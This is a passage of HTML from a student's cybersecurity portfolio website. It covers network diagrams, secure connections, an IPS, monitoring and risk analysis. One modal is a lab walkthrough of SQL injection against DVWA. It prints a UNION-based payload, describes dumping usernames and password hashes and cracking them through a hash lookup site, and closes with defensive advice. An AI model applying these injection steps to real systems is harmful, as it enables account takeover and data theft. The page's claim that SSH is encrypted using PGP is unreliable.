fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> 